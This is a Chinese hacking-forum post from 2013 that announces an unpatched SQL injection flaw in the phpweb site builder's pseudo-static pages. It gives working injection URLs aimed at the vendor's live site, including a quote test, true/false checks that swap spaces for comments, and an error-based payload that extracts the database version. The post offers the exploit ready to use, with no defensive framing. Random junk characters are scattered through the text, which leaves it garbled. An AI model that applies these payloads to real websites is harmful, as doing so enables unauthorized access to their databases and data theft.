中国网络渗透测试联盟

标题: phpweb伪静态页面注入0day [打印本页]
作者: admin    时间: 2013-1-4 19:46
标题: phpweb伪静态页面注入0day
phpweb所有的整站程序伪静态页面都存在sql注入
  F" x$ ~1 F! s* Q4 u4 A0 G, r. Q9 A' P% ^% _1 E
主站：http://phpweb.net/
# |- R* B0 D; |( R, w, @) F, V加’检测：
3 n% C8 ^) @2 Z, O
6 v' e& |+ {+ m4 L' G3 ~& Ihttp://www.phpweb.net/down/html/?772′.html
  y" s" @+ v" b5 q
/ w9 |" o$ e! i. R9 J% S* |6 v  U6 b: T出错5 E6 g) S8 l! T7 y1 S& o& k
存在注入。
: o1 |6 X& \5 |1 }不能用空格，只能用/*罗- X) [+ v3 @3 v
http://www.phpweb.net/page/html/?56′/**/and/**/1=1/*.html 正常
3 I: y2 v9 ?' b# A" ^
2 s* K# a4 }0 M) \5 G: ~http://www.phpweb.net/page/html/?56′/**/and/**/1=2/*.html 出错.: g5 y  Y) q+ }7 k, z4 T
爆数据库版本：
1 O8 o' Z  ~; k0 k% P. j- \  ?/ { 1 U5 u" P$ r# X  R0 G
?% }  T" }' Q  u* v& n6 @
14 t; V- v! f3 s! o
http://www.phpweb.net/page/html/?56'/**/and/**/(SELECT/**/1/**/from/**/(select/**/count(*),concat(floor(rand(0)*2),(substring((select(version())),1,62)))a/**/from/**/information_schema.tables/**/group/**/by/**/a)b)=1/*.html( `% W+ G, H% y5 g! _. k
更新日期: 2013-01-03 13:39:50        
& A0 u7 [* P8 j



欢迎光临 中国网络渗透测试联盟 (https://cobjon.com/) Powered by Discuz! X3.2